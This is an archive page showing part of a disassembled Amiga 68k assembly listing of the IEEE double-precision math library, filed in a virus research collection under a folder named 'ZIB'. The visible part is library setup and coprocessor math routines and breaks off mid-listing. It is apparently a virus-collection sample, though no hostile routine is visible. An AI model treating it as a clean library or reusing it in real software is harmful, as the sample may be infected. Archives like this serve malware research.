home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / amiga_virus_collection_research.7z / VIRUSCOLLECTIE / Z / ZIB / MATHIEEEDOUBBAS.ASM < prev    next >
Assembly Source File  |  1998-01-08  |  72KB  |  2,810 lines

  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. ABSEXECBASE    EQU    $4
  5. EXT_0001    EQU    $10D4
  6. EXT_0002    EQU    $2E32
  7. EXT_0003    EQU    $32290D0A
  8. EXT_0004    EQU    $C8DBDFCA
  9.  
  10.  
  11.  
  12.  
  13.     SECTION S_0,CODE
  14.  
  15. SECSTRT_0:
  16.     MOVE.L    #$FFFFFFFF,D0        ;0000: 203CFFFFFFFF
  17.     RTS                ;0006: 4E75
  18. LAB_0000:
  19.     ILLEGAL                ;0008: 4AFC
  20.     DC.L    LAB_0000        ;000A: 00000008
  21.     DC.L    LAB_0123        ;000E: 00001390
  22.     BTST    D0,-(A6)        ;0012: 0126
  23.     BTST    D4,D0            ;0014: 0900
  24.     DC.L    LAB_0001        ;0016: 00000022
  25.     DC.L    LAB_0002        ;001A: 0000003A
  26.     DC.L    LAB_0005        ;001E: 00000072
  27. LAB_0001:
  28.     DC.W    $6D61            ;0022
  29.     MOVEQ    #104,D2            ;0024: 7468
  30.     DC.W    $6965            ;0026
  31.     DC.W    $6565            ;0028
  32.     DC.W    $646F            ;002A
  33.     DC.W    $7562            ;002C
  34.     DC.W    $6261            ;002E
  35.     DC.W    $732E            ;0030
  36.     DC.W    $6C69            ;0032
  37.     BHI.S    LAB_0006+2        ;0034: 6272
  38.     BSR.S    LAB_0006+4        ;0036: 6172
  39.     DC.W    $7900            ;0038
  40. LAB_0002:
  41.     DC.W    $6D61            ;003A
  42.     MOVEQ    #104,D2            ;003C: 7468
  43.     DC.W    $6965            ;003E
  44.     DC.W    $6565            ;0040
  45.     DC.W    $646F            ;0042
  46.     DC.W    $7562            ;0044
  47.     DC.W    $6261            ;0046
  48.     DC.W    $7320            ;0048
  49.     MOVE    (EXT_0002).W,-(A1)    ;004A: 33382E32
  50.     MOVE.L    12852(A0),D0        ;004E: 20283234
  51.     DC.W    $2E31            ;0052
  52.     MOVE.L    EXT_0003,D7        ;0054: 2E3932290D0A
  53.     DC.W    $0000            ;005A
  54. LAB_0003:
  55.     CLR.L    D0            ;005C: 4280
  56.     RTS                ;005E: 4E75
  57. LAB_0004:
  58.     DC.W    $4D61            ;0060
  59.     MOVEQ    #104,D2            ;0062: 7468
  60.     DC.W    $4945            ;0064
  61.     DC.W    $4545            ;0066
  62.     DC.W    $2E72            ;0068
  63.     DC.W    $6573            ;006A
  64.     DC.W    $6F75            ;006C
  65.     MOVEQ    #99,D1            ;006E: 7263
  66.     DC.W    $6500            ;0070
  67. LAB_0005:
  68.     MOVE.L    A0,LAB_0010        ;0072: 23C8000001E2
  69.     MOVEM.L    D2-D3/A2,-(A7)        ;0078: 48E73020
  70.     CLR.L    D2            ;007C: 4282
  71.     CLR.L    D3            ;007E: 4283
  72.     LEA    LAB_0012,A0        ;0080: 41F90000020C
  73.     BTST    #4,297(A6)        ;0086: 082E00040129
  74.     BNE.S    LAB_0009        ;008C: 6626
  75.     MOVEQ    #0,D0            ;008E: 7000
  76.     LEA    LAB_0004(PC),A1        ;0090: 43FAFFCE
  77.     JSR    -498(A6)        ;0094: 4EAEFE0E
  78.     MOVE.L    D0,D3            ;0098: 2600
  79.     BEQ.S    LAB_0008        ;009A: 6712
  80.     MOVEA.L    D0,A1            ;009C: 2240
  81.     MOVE.L    16(A1),D2        ;009E: 24290010
  82.     TST.L    D2            ;00A2: 4A82
  83.     BEQ.S    LAB_0008        ;00A4: 6708
  84. LAB_0006:
  85.     LEA    LAB_0122,A0        ;00A6: 41F90000136C
  86.     BRA.S    LAB_0009        ;00AC: 6006
  87. LAB_0008:
  88.     LEA    LAB_0011,A0        ;00AE: 41F9000001E8
  89. LAB_0009:
  90.     SUBA.L    A2,A2            ;00B4: 95CA
  91.     LEA    LAB_000C,A1        ;00B6: 43F900000126
  92.     MOVE.L    #$0000003C,D0        ;00BC: 203C0000003C
  93.     CLR.L    D1            ;00C2: 4281
  94.     JSR    -84(A6)            ;00C4: 4EAEFFAC
  95.     MOVEA.L    D0,A2            ;00C8: 2440
  96.     LEA    LAB_0003(PC),A1        ;00CA: 43FAFF90
  97.     MOVE.L    A1,52(A2)        ;00CE: 25490034
  98.     MOVE.L    A1,56(A2)        ;00D2: 25490038
  99.     MOVE.B    297(A6),D0        ;00D6: 102E0129
  100.     ANDI.B    #$10,D0            ;00DA: 02000010
  101.     BEQ.S    LAB_000A        ;00DE: 670A
  102.     LEA    LAB_0121,A1        ;00E0: 43F90000135E
  103.     MOVE.L    A1,52(A2)        ;00E6: 25490034
  104. LAB_000A:
  105.     MOVE.B    D0,34(A2)        ;00EA: 15400022
  106.     MOVE.L    D2,36(A2)        ;00EE: 25420024
  107.     MOVE.L    A6,40(A2)        ;00F2: 254E0028
  108.     MOVE.L    D3,48(A2)        ;00F6: 25430030
  109.     BEQ.S    LAB_000B        ;00FA: 671A
  110.     LEA    LAB_0094,A1        ;00FC: 43F900000896
  111.     MOVE.L    A1,52(A2)        ;0102: 25490034
  112.     MOVEA.L    D3,A1            ;0106: 2243
  113.     BTST    #0,15(A1)        ;0108: 08290000000F
  114.     BEQ.S    LAB_000B        ;010E: 6706
  115.     MOVEA.L    20(A1),A0        ;0110: 20690014
  116.     JSR    (A0)            ;0114: 4E90
  117. LAB_000B:
  118.     MOVEA.L    A2,A1            ;0116: 224A
  119.     JSR    -396(A6)        ;0118: 4EAEFE74
  120.     MOVEM.L    (A7)+,D2-D3/A2        ;011C: 4CDF040C
  121.     RTS                ;0120: 4E75
  122.     MOVEQ    #0,D0            ;0122: 7000
  123.     RTS                ;0124: 4E75
  124. LAB_000C:
  125.     DC.W    $A008            ;0126
  126.     BTST    D4,D0            ;0128: 0900
  127.     DC.W    $800A            ;012A
  128.     DC.L    LAB_0001        ;012C: 00000022
  129.     SUB.B    (A6),D0            ;0130: 9016
  130.     DC.W    $0001            ;0132
  131.     SUB.B    (A4),D0            ;0134: 9014
  132.     DC.W    $0026            ;0136
  133.     DC.W    $A00E            ;0138
  134.     DC.W    $0600            ;013A
  135.     SUB.B    -(A0),D0        ;013C: 9020
  136.     ORI.B    #$00,D0            ;013E: 00000000
  137. LAB_000D:
  138.     MOVE.L    A6,-(A7)        ;0142: 2F0E
  139.     MOVEA.L    ABSEXECBASE,A6        ;0144: 2C7900000004
  140.     JSR    -132(A6)        ;014A: 4EAEFF7C
  141.     MOVEA.L    (A7)+,A6        ;014E: 2C5F
  142.     TST    32(A6)            ;0150: 4A6E0020
  143.     BNE.S    LAB_000E        ;0154: 6640
  144.     MOVEA.L    A6,A1            ;0156: 224E
  145.     MOVEA.L    (A1),A0            ;0158: 2051
  146.     MOVEA.L    4(A1),A1        ;015A: 22690004
  147.     MOVE.L    A0,(A1)            ;015E: 2288
  148.     MOVE.L    A1,4(A0)        ;0160: 21490004
  149.     MOVEA.L    A6,A1            ;0164: 224E
  150.     MOVEQ    #0,D0            ;0166: 7000
  151.     MOVE    16(A6),D0        ;0168: 302E0010
  152.     SUBA    D0,A1            ;016C: 92C0
  153.     ADD    18(A6),D0        ;016E: D06E0012
  154.     MOVE.L    A6,-(A7)        ;0172: 2F0E
  155.     MOVEA.L    ABSEXECBASE,A6        ;0174: 2C7900000004
  156.     JSR    -210(A6)        ;017A: 4EAEFF2E
  157.     MOVEA.L    (A7)+,A6        ;017E: 2C5F
  158.     MOVE.L    A6,-(A7)        ;0180: 2F0E
  159.     MOVEA.L    ABSEXECBASE,A6        ;0182: 2C7900000004
  160.     JSR    -138(A6)        ;0188: 4EAEFF76
  161.     MOVEA.L    (A7)+,A6        ;018C: 2C5F
  162.     MOVE.L    LAB_0010,D0        ;018E: 2039000001E2
  163.     RTS                ;0194: 4E75
  164. LAB_000E:
  165.     BSET    #3,14(A6)        ;0196: 08EE0003000E
  166.     MOVE.L    A6,-(A7)        ;019C: 2F0E
  167.     MOVEA.L    ABSEXECBASE,A6        ;019E: 2C7900000004
  168.     JSR    -138(A6)        ;01A4: 4EAEFF76
  169.     MOVEA.L    (A7)+,A6        ;01A8: 2C5F
  170.     MOVEQ    #0,D0            ;01AA: 7000
  171.     RTS                ;01AC: 4E75
  172.     MOVEA.L    52(A6),A0        ;01AE: 206E0034
  173.     JSR    (A0)            ;01B2: 4E90
  174.     TST.L    D0            ;01B4: 4A80
  175.     BEQ.S    LAB_000F        ;01B6: 6704
  176.     CLR.L    D0            ;01B8: 4280
  177.     RTS                ;01BA: 4E75
  178. LAB_000F:
  179.     ADDQ    #1,32(A6)        ;01BC: 526E0020
  180.     BCLR    #3,14(A6)        ;01C0: 08AE0003000E
  181.     MOVE.L    A6,D0            ;01C6: 200E
  182.     RTS                ;01C8: 4E75
  183.     MOVEA.L    56(A6),A0        ;01CA: 206E0038
  184.     JSR    (A0)            ;01CE: 4E90
  185.     SUBQ    #1,32(A6)        ;01D0: 536E0020
  186.     BTST    #3,14(A6)        ;01D4: 082E0003000E
  187.     BNE    LAB_000D        ;01DA: 6600FF66
  188.     CLR.L    D0            ;01DE: 4280
  189.     RTS                ;01E0: 4E75
  190. LAB_0010:
  191.     ORI.B    #$00,D0            ;01E2: 00000000
  192.     DC.W    $0000            ;01E6
  193. LAB_0011:
  194.     DC.W    $FFFF            ;01E8
  195.     DC.W    $FFC6            ;01EA
  196.     DC.W    $FFE2            ;01EC
  197.     DC.W    $FF5A            ;01EE
  198.     DC.W    $FF3A            ;01F0
  199.     BSET    D7,(A0)+        ;01F2: 0FD8
  200.     BCLR    D7,(A0)+        ;01F4: 0F98
  201.     BCHG    D4,-(A0)        ;01F6: 0960
  202.     CMPI.L    #$07180720,(A4)        ;01F8: 0C9407180720
  203.     DC.W    $0CC0            ;01FE
  204.     CMPI.L    #$0A020728,118(A4,D0.W)    ;0200: 0CB40A0207280076
  205.     DC.W    $0048            ;0208
  206.     DC.W    $FFFF            ;020A
  207. LAB_0012:
  208.     DC.W    $FFFF            ;020C
  209.     DC.W    $FFA2            ;020E
  210.     DC.W    $FFBE            ;0210
  211.     DC.W    $FF36            ;0212
  212.     DC.W    $FF16            ;0214
  213.     MOVE.B    (A6)+,(A0)        ;0216: 109E
  214.     MOVE.B    (A0),(A0)        ;0218: 1090
  215.     DC.W    $093C            ;021A
  216.     DC.W    $0C70            ;021C
  217.     DC.W    $06F4            ;021E
  218.     DC.W    $06FC            ;0220
  219.     MOVE.B    4356(A4),(A0)+        ;0222: 10EC1104
  220.     MOVE.B    -(A0),-(A0)        ;0226: 1120
  221.     MOVE.B    (EXT_0001).W,-(A0)    ;0228: 113810D4
  222.     DC.W    $0024            ;022C
  223.     DC.W    $FFFF            ;022E
  224.     BCHG    #31,D0            ;0230: 0840001F
  225.     JSR    -90(A6)            ;0234: 4EAEFFA6
  226.     TST.L    D0            ;0238: 4A80
  227.     BNE.S    LAB_0013        ;023A: 6604
  228.     TST.L    D1            ;023C: 4A81
  229.     BEQ.S    LAB_0014        ;023E: 6704
  230. LAB_0013:
  231.     BCHG    #31,D0            ;0240: 0840001F
  232. LAB_0014:
  233.     RTS                ;0244: 4E75
  234. LAB_0015:
  235.     CLR.L    D1            ;0246: 4281
  236.     RTS                ;0248: 4E75
  237. LAB_0016:
  238.     TST    (A7)            ;024A: 4A57
  239.     BGE.S    LAB_0017        ;024C: 6C08
  240.     MOVE.L    #$BFF00000,D0        ;024E: 203CBFF00000
  241.     BRA.S    LAB_0018        ;0254: 6002
  242. LAB_0017:
  243.     CLR.L    D0            ;0256: 4280
  244. LAB_0018:
  245.     CLR.L    D1            ;0258: 4281
  246.     ADDQ.L    #8,A7            ;025A: 508F
  247.     RTS                ;025C: 4E75
  248.     TST.L    D0            ;025E: 4A80
  249.     BEQ.S    LAB_0015        ;0260: 67E4
  250.     MOVE.L    D1,-(A7)        ;0262: 2F01
  251.     MOVE.L    D0,-(A7)        ;0264: 2F00
  252.     SWAP    D0            ;0266: 4840
  253.     ANDI    #$7FF0,D0        ;0268: 02407FF0
  254.     BEQ.S    LAB_0016        ;026C: 67DC
  255.     ASR    #4,D0            ;026E: E840
  256.     SUBI    #$03FF,D0        ;0270: 044003FF
  257.     BLT.S    LAB_0016        ;0274: 6DD4
  258.     CMPI    #$0034,D0        ;0276: 0C400034
  259.     BGE.S    LAB_001C        ;027A: 6C58
  260.     NEG    D0            ;027C: 4440
  261.     ADDI    #$0034,D0        ;027E: 06400034
  262.     MOVEA.L    (A7),A0            ;0282: 2057
  263.     MOVEA.L    4(A7),A1        ;0284: 226F0004
  264.     CMPI    #$0020,D0        ;0288: 0C400020
  265.     BLT.S    LAB_0019        ;028C: 6D12
  266.     CLR.L    4(A7)            ;028E: 42AF0004
  267.     SUBI    #$0020,D0        ;0292: 04400020
  268.     LSL    #2,D0            ;0296: E548
  269.     MOVE.L    LAB_001D(PC,D0.W),D0    ;0298: 203B0040
  270.     AND.L    D0,(A7)            ;029C: C197
  271.     BRA.S    LAB_001A        ;029E: 600A
  272. LAB_0019:
  273.     LSL    #2,D0            ;02A0: E548
  274.     MOVE.L    LAB_001D(PC,D0.W),D0    ;02A2: 203B0036
  275.     AND.L    D0,4(A7)        ;02A6: C1AF0004
  276. LAB_001A:
  277.     TST    (A7)            ;02AA: 4A57
  278.     BGE.S    LAB_001C        ;02AC: 6C26
  279.     CMPA.L    (A7),A0            ;02AE: B1D7
  280.     BNE.S    LAB_001B        ;02B0: 6608
  281.     CMPA.L    4(A7),A1        ;02B2: B3EF0004
  282.     BNE.S    LAB_001B        ;02B6: 6602
  283.     BRA.S    LAB_001C        ;02B8: 601A
  284. LAB_001B:
  285.     MOVE.L    (A7)+,D0        ;02BA: 201F
  286.     MOVE.L    (A7)+,D1        ;02BC: 221F
  287.     MOVEM.L    D2-D3,-(A7)        ;02BE: 48E73000
  288.     MOVE.L    #$BFF00000,D2        ;02C2: 243CBFF00000
  289.     CLR.L    D3            ;02C8: 4283
  290.     JSR    -66(A6)            ;02CA: 4EAEFFBE
  291.     MOVEM.L    (A7)+,D2-D3        ;02CE: 4CDF000C
  292.     RTS                ;02D2: 4E75
  293. LAB_001C:
  294.     MOVE.L    (A7)+,D0        ;02D4: 201F
  295.     MOVE.L    (A7)+,D1        ;02D6: 221F
  296.     RTS                ;02D8: 4E75
  297. LAB_001D:
  298.     DC.W    $FFFF            ;02DA
  299.     DC.W    $FFFF            ;02DC
  300.     DC.W    $FFFF            ;02DE
  301.     DC.W    $FFFE            ;02E0
  302.     DC.W    $FFFF            ;02E2
  303.     DC.W    $FFFC            ;02E4
  304.     DC.W    $FFFF            ;02E6
  305.     DC.W    $FFF8            ;02E8
  306.     DC.W    $FFFF            ;02EA
  307.     DC.W    $FFF0            ;02EC
  308.     DC.W    $FFFF            ;02EE
  309.     DC.W    $FFE0            ;02F0
  310.     DC.W    $FFFF            ;02F2
  311.     DC.W    $FFC0            ;02F4
  312.     DC.W    $FFFF            ;02F6
  313.     DC.W    $FF80            ;02F8
  314.     DC.W    $FFFF            ;02FA
  315.     DC.W    $FF00            ;02FC
  316.     DC.W    $FFFF            ;02FE
  317.     DC.W    $FE00            ;0300
  318.     DC.W    $FFFF            ;0302
  319.     DC.W    $FC00            ;0304
  320.     DC.W    $FFFF            ;0306
  321.     DC.W    $F800            ;0308
  322.     DC.W    $FFFF            ;030A
  323.     DC.W    $F000            ;030C
  324.     DC.W    $FFFF            ;030E
  325.     ASR.B    #8,D0            ;0310: E000
  326.     DC.W    $FFFF            ;0312
  327.     AND.B    D0,D0            ;0314: C000
  328.     DC.W    $FFFF            ;0316
  329.     OR.B    D0,D0            ;0318: 8000
  330.     DC.W    $FFFF            ;031A
  331.     DC.W    $0000            ;031C
  332.     DC.W    $FFFE            ;031E
  333.     DC.W    $0000            ;0320
  334.     DC.W    $FFFC            ;0322
  335.     DC.W    $0000            ;0324
  336.     DC.W    $FFF8            ;0326
  337.     DC.W    $0000            ;0328
  338.     DC.W    $FFF0            ;032A
  339.     DC.W    $0000            ;032C
  340.     DC.W    $FFE0            ;032E
  341.     DC.W    $0000            ;0330
  342.     DC.W    $FFC0            ;0332
  343.     DC.W    $0000            ;0334
  344.     DC.W    $FF80            ;0336
  345.     DC.W    $0000            ;0338
  346.     DC.W    $FF00            ;033A
  347.     DC.W    $0000            ;033C
  348.     DC.W    $FE00            ;033E
  349.     DC.W    $0000            ;0340
  350.     DC.W    $FC00            ;0342
  351.     DC.W    $0000            ;0344
  352.     DC.W    $F800            ;0346
  353.     DC.W    $0000            ;0348
  354.     DC.W    $F000            ;034A
  355.     DC.W    $0000            ;034C
  356.     ASR.B    #8,D0            ;034E: E000
  357.     DC.W    $0000            ;0350
  358.     AND.B    D0,D0            ;0352: C000
  359.     DC.W    $0000            ;0354
  360.     OR.B    D0,D0            ;0356: 8000
  361.     ORI.B    #$00,D0            ;0358: 00000000
  362. LAB_001E:
  363.     MOVE    #$0002,2(A0)        ;035C: 317C00020002
  364.     ANDI    #$00FF,D7        ;0362: 024700FF
  365.     CMPI    #$0032,D7        ;0366: 0C470032
  366.     BNE.S    LAB_001F        ;036A: 6604
  367.     DIVU    #$0000,D7        ;036C: 8EFC0000
  368. LAB_001F:
  369.     CMPI    #$0035,D7        ;0370: 0C470035
  370.     BNE.S    LAB_0020        ;0374: 6606
  371.     ORI.B    #$02,CCR        ;0376: 003C0002
  372.     TRAPV                ;037A: 4E76
  373. LAB_0020:
  374.     RTS                ;037C: 4E75
  375.     MOVE.L    D7,-(A7)        ;037E: 2F07
  376.     MOVEA.L    36(A6),A0        ;0380: 206E0024
  377.     LEA    16(A0),A1        ;0384: 43E80010
  378. LAB_0021:
  379.     MOVE    #$4000,10(A0)        ;0388: 317C4000000A
  380. LAB_0022:
  381.     MOVE    (A0),D7            ;038E: 3E10
  382.     BTST    #12,D7            ;0390: 0807000C
  383.     BEQ.S    LAB_0023        ;0394: 6706
  384.     BTST    #11,D7            ;0396: 0807000B
  385.     BEQ.S    LAB_0025        ;039A: 6722
  386. LAB_0023:
  387.     TST    D7            ;039C: 4A47
  388.     BMI    LAB_0024        ;039E: 6B000012
  389.     CMPI    #$4900,D7        ;03A2: 0C474900
  390.     BEQ.S    LAB_0022        ;03A6: 67E6
  391.     CMPI    #$0900,D7        ;03A8: 0C470900
  392.     BLE.S    LAB_0022        ;03AC: 6FE0
  393.     BSR.S    LAB_001E        ;03AE: 61AC
  394.     BRA.S    LAB_0021        ;03B0: 60D6
  395. LAB_0024:
  396.     CMPI    #$8900,D7        ;03B2: 0C478900
  397.     BEQ.S    LAB_0022        ;03B6: 67D6
  398.     CMPI    #$C900,D7        ;03B8: 0C47C900
  399.     BEQ.S    LAB_0022        ;03BC: 67D0
  400. LAB_0025:
  401.     MOVE.L    D0,(A1)            ;03BE: 2280
  402. LAB_0026:
  403.     TST    (A0)            ;03C0: 4A50
  404.     BMI.S    LAB_0026        ;03C2: 6BFC
  405. LAB_0027:
  406.     MOVE    #$7400,10(A0)        ;03C4: 317C7400000A
  407. LAB_0028:
  408.     MOVE    (A0),D7            ;03CA: 3E10
  409.     BTST    #12,D7            ;03CC: 0807000C
  410.     BEQ.S    LAB_0029        ;03D0: 6706
  411.     BTST    #11,D7            ;03D2: 0807000B
  412.     BEQ.S    LAB_002B        ;03D6: 6724
  413. LAB_0029:
  414.     TST    D7            ;03D8: 4A47
  415.     BMI    LAB_002A        ;03DA: 6B000014
  416.     CMPI    #$4900,D7        ;03DE: 0C474900
  417.     BEQ.S    LAB_0028        ;03E2: 67E6
  418.     CMPI    #$0900,D7        ;03E4: 0C470900
  419.     BLE.S    LAB_0028        ;03E8: 6FE0
  420.     BSR    LAB_001E        ;03EA: 6100FF70
  421.     BRA.S    LAB_0027        ;03EE: 60D4
  422. LAB_002A:
  423.     CMPI    #$8900,D7        ;03F0: 0C478900
  424.     BEQ.S    LAB_0028        ;03F4: 67D4
  425.     CMPI    #$C900,D7        ;03F6: 0C47C900
  426.     BEQ.S    LAB_0028        ;03FA: 67CE
  427. LAB_002B:
  428.     MOVE.L    (A1),D0            ;03FC: 2011
  429.     MOVE.L    (A1),D1            ;03FE: 2211
  430. LAB_002C:
  431.     TST    (A0)            ;0400: 4A50
  432.     BMI.S    LAB_002C        ;0402: 6BFC
  433.     MOVE.L    (A7)+,D7        ;0404: 2E1F
  434.     RTS                ;0406: 4E75
  435.     MOVE.L    D7,-(A7)        ;0408: 2F07
  436.     MOVEA.L    36(A6),A0        ;040A: 206E0024
  437.     LEA    16(A0),A1        ;040E: 43E80010
  438. LAB_002D:
  439.     MOVE    #$5400,10(A0)        ;0412: 317C5400000A
  440. LAB_002E:
  441.     MOVE    (A0),D7            ;0418: 3E10
  442.     BTST    #12,D7            ;041A: 0807000C
  443.     BEQ.S    LAB_002F        ;041E: 6706
  444.     BTST    #11,D7            ;0420: 0807000B
  445.     BEQ.S    LAB_0031        ;0424: 6724
  446. LAB_002F:
  447.     TST    D7            ;0426: 4A47
  448.     BMI    LAB_0030        ;0428: 6B000014
  449.     CMPI    #$4900,D7        ;042C: 0C474900
  450.     BEQ.S    LAB_002E        ;0430: 67E6
  451.     CMPI    #$0900,D7        ;0432: 0C470900
  452.     BLE.S    LAB_002E        ;0436: 6FE0
  453.     BSR    LAB_001E        ;0438: 6100FF22
  454.     BRA.S    LAB_002D        ;043C: 60D4
  455. LAB_0030:
  456.     CMPI    #$8900,D7        ;043E: 0C478900
  457.     BEQ.S    LAB_002E        ;0442: 67D4
  458.     CMPI    #$C900,D7        ;0444: 0C47C900
  459.     BEQ.S    LAB_002E        ;0448: 67CE
  460. LAB_0031:
  461.     MOVE.L    D0,(A1)            ;044A: 2280
  462.     MOVE.L    D1,(A1)            ;044C: 2281
  463. LAB_0032:
  464.     TST    (A0)            ;044E: 4A50
  465.     BMI.S    LAB_0032        ;0450: 6BFC
  466. LAB_0033:
  467.     MOVE    #$5422,10(A0)        ;0452: 317C5422000A
  468. LAB_0034:
  469.     MOVE    (A0),D7            ;0458: 3E10
  470.     BTST    #12,D7            ;045A: 0807000C
  471.     BEQ.S    LAB_0035        ;045E: 6706
  472.     BTST    #11,D7            ;0460: 0807000B
  473.     BEQ.S    LAB_0037        ;0464: 6724
  474. LAB_0035:
  475.     TST    D7            ;0466: 4A47
  476.     BMI    LAB_0036        ;0468: 6B000014
  477.     CMPI    #$4900,D7        ;046C: 0C474900
  478.     BEQ.S    LAB_0034        ;0470: 67E6
  479.     CMPI    #$0900,D7        ;0472: 0C470900
  480.     BLE.S    LAB_0034        ;0476: 6FE0
  481.     BSR    LAB_001E        ;0478: 6100FEE2
  482.     BRA.S    LAB_0033        ;047C: 60D4
  483. LAB_0036:
  484.     CMPI    #$8900,D7        ;047E: 0C478900
  485.     BEQ.S    LAB_0034        ;0482: 67D4
  486.     CMPI    #$C900,D7        ;0484: 0C47C900
  487.     BEQ.S    LAB_0034        ;0488: 67CE
  488. LAB_0037:
  489.     MOVE.L    D2,(A1)            ;048A: 2282
  490.     MOVE.L    D3,(A1)            ;048C: 2283
  491. LAB_0038:
  492.     TST    (A0)            ;048E: 4A50
  493.     BMI.S    LAB_0038        ;0490: 6BFC
  494. LAB_0039:
  495.     MOVE    #$7400,10(A0)        ;0492: 317C7400000A
  496. LAB_003A:
  497.     MOVE    (A0),D7            ;0498: 3E10
  498.     BTST    #12,D7            ;049A: 0807000C
  499.     BEQ.S    LAB_003B        ;049E: 6706
  500.     BTST    #11,D7            ;04A0: 0807000B
  501.     BEQ.S    LAB_003D        ;04A4: 6724
  502. LAB_003B:
  503.     TST    D7            ;04A6: 4A47
  504.     BMI    LAB_003C        ;04A8: 6B000014
  505.     CMPI    #$4900,D7        ;04AC: 0C474900
  506.     BEQ.S    LAB_003A        ;04B0: 67E6
  507.     CMPI    #$0900,D7        ;04B2: 0C470900
  508.     BLE.S    LAB_003A        ;04B6: 6FE0
  509.     BSR    LAB_001E        ;04B8: 6100FEA2
  510.     BRA.S    LAB_0039        ;04BC: 60D4
  511. LAB_003C:
  512.     CMPI    #$8900,D7        ;04BE: 0C478900
  513.     BEQ.S    LAB_003A        ;04C2: 67D4
  514.     CMPI    #$C900,D7        ;04C4: 0C47C900
  515.     BEQ.S    LAB_003A        ;04C8: 67CE
  516. LAB_003D:
  517.     MOVE.L    (A1),D0            ;04CA: 2011
  518.     MOVE.L    (A1),D1            ;04CC: 2211
  519. LAB_003E:
  520.     TST    (A0)            ;04CE: 4A50
  521.     BMI.S    LAB_003E        ;04D0: 6BFC
  522.     MOVE.L    (A7)+,D7        ;04D2: 2E1F
  523.     RTS                ;04D4: 4E75
  524.     MOVE.L    D7,-(A7)        ;04D6: 2F07
  525.     MOVEA.L    36(A6),A0        ;04D8: 206E0024
  526.     LEA    16(A0),A1        ;04DC: 43E80010
  527. LAB_003F:
  528.     MOVE    #$5400,10(A0)        ;04E0: 317C5400000A
  529. LAB_0040:
  530.     MOVE    (A0),D7            ;04E6: 3E10
  531.     BTST    #12,D7            ;04E8: 0807000C
  532.     BEQ.S    LAB_0041        ;04EC: 6706
  533.     BTST    #11,D7            ;04EE: 0807000B
  534.     BEQ.S    LAB_0043        ;04F2: 6724
  535. LAB_0041:
  536.     TST    D7            ;04F4: 4A47
  537.     BMI    LAB_0042        ;04F6: 6B000014
  538.     CMPI    #$4900,D7        ;04FA: 0C474900
  539.     BEQ.S    LAB_0040        ;04FE: 67E6
  540.     CMPI    #$0900,D7        ;0500: 0C470900
  541.     BLE.S    LAB_0040        ;0504: 6FE0
  542.     BSR    LAB_001E        ;0506: 6100FE54
  543.     BRA.S    LAB_003F        ;050A: 60D4
  544. LAB_0042:
  545.     CMPI    #$8900,D7        ;050C: 0C478900
  546.     BEQ.S    LAB_0040        ;0510: 67D4
  547.     CMPI    #$C900,D7        ;0512: 0C47C900
  548.     BEQ.S    LAB_0040        ;0516: 67CE
  549. LAB_0043:
  550.     MOVE.L    D0,(A1)            ;0518: 2280
  551.     MOVE.L    D1,(A1)            ;051A: 2281
  552. LAB_0044:
  553.     TST    (A0)            ;051C: 4A50
  554.     BMI.S    LAB_0044        ;051E: 6BFC
  555. LAB_0045:
  556.     MOVE    #$5428,10(A0)        ;0520: 317C5428000A
  557. LAB_0046:
  558.     MOVE    (A0),D7            ;0526: 3E10
  559.     BTST    #12,D7            ;0528: 0807000C
  560.     BEQ.S    LAB_0047        ;052C: 6706
  561.     BTST    #11,D7            ;052E: 0807000B
  562.     BEQ.S    LAB_0049        ;0532: 6724
  563. LAB_0047:
  564.     TST    D7            ;0534: 4A47
  565.     BMI    LAB_0048        ;0536: 6B000014
  566.     CMPI    #$4900,D7        ;053A: 0C474900
  567.     BEQ.S    LAB_0046        ;053E: 67E6
  568.     CMPI    #$0900,D7        ;0540: 0C470900
  569.     BLE.S    LAB_0046        ;0544: 6FE0
  570.     BSR    LAB_001E        ;0546: 6100FE14
  571.     BRA.S    LAB_0045        ;054A: 60D4
  572. LAB_0048:
  573.     CMPI    #$8900,D7        ;054C: 0C478900
  574.     BEQ.S    LAB_0046        ;0550: 67D4
  575.     CMPI    #$C900,D7        ;0552: 0C47C900
  576.     BEQ.S    LAB_0046        ;0556: 67CE
  577. LAB_0049:
  578.     MOVE.L    D2,(A1)            ;0558: 2282
  579.     MOVE.L    D3,(A1)            ;055A: 2283
  580. LAB_004A:
  581.     TST    (A0)            ;055C: 4A50
  582.     BMI.S    LAB_004A        ;055E: 6BFC
  583. LAB_004B:
  584.     MOVE    #$7400,10(A0)        ;0560: 317C7400000A
  585. LAB_004C:
  586.     MOVE    (A0),D7            ;0566: 3E10
  587.     BTST    #12,D7            ;0568: 0807000C
  588.     BEQ.S    LAB_004D        ;056C: 6706
  589.     BTST    #11,D7            ;056E: 0807000B
  590.     BEQ.S    LAB_004F        ;0572: 6724
  591. LAB_004D:
  592.     TST    D7            ;0574: 4A47
  593.     BMI    LAB_004E        ;0576: 6B000014
  594.     CMPI    #$4900,D7        ;057A: 0C474900
  595.     BEQ.S    LAB_004C        ;057E: 67E6
  596.     CMPI    #$0900,D7        ;0580: 0C470900
  597.     BLE.S    LAB_004C        ;0584: 6FE0
  598.     BSR    LAB_001E        ;0586: 6100FDD4
  599.     BRA.S    LAB_004B        ;058A: 60D4
  600. LAB_004E:
  601.     CMPI    #$8900,D7        ;058C: 0C478900
  602.     BEQ.S    LAB_004C        ;0590: 67D4
  603.     CMPI    #$C900,D7        ;0592: 0C47C900
  604.     BEQ.S    LAB_004C        ;0596: 67CE
  605. LAB_004F:
  606.     MOVE.L    (A1),D0            ;0598: 2011
  607.     MOVE.L    (A1),D1            ;059A: 2211
  608. LAB_0050:
  609.     TST    (A0)            ;059C: 4A50
  610.     BMI.S    LAB_0050        ;059E: 6BFC
  611.     MOVE.L    (A7)+,D7        ;05A0: 2E1F
  612.     RTS                ;05A2: 4E75
  613.     MOVE.L    D7,-(A7)        ;05A4: 2F07
  614.     MOVEA.L    36(A6),A0        ;05A6: 206E0024
  615.     LEA    16(A0),A1        ;05AA: 43E80010
  616. LAB_0051:
  617.     MOVE    #$5400,10(A0)        ;05AE: 317C5400000A
  618. LAB_0052:
  619.     MOVE    (A0),D7            ;05B4: 3E10
  620.     BTST    #12,D7            ;05B6: 0807000C
  621.     BEQ.S    LAB_0053        ;05BA: 6706
  622.     BTST    #11,D7            ;05BC: 0807000B
  623.     BEQ.S    LAB_0055        ;05C0: 6724
  624. LAB_0053:
  625.     TST    D7            ;05C2: 4A47
  626.     BMI    LAB_0054        ;05C4: 6B000014
  627.     CMPI    #$4900,D7        ;05C8: 0C474900
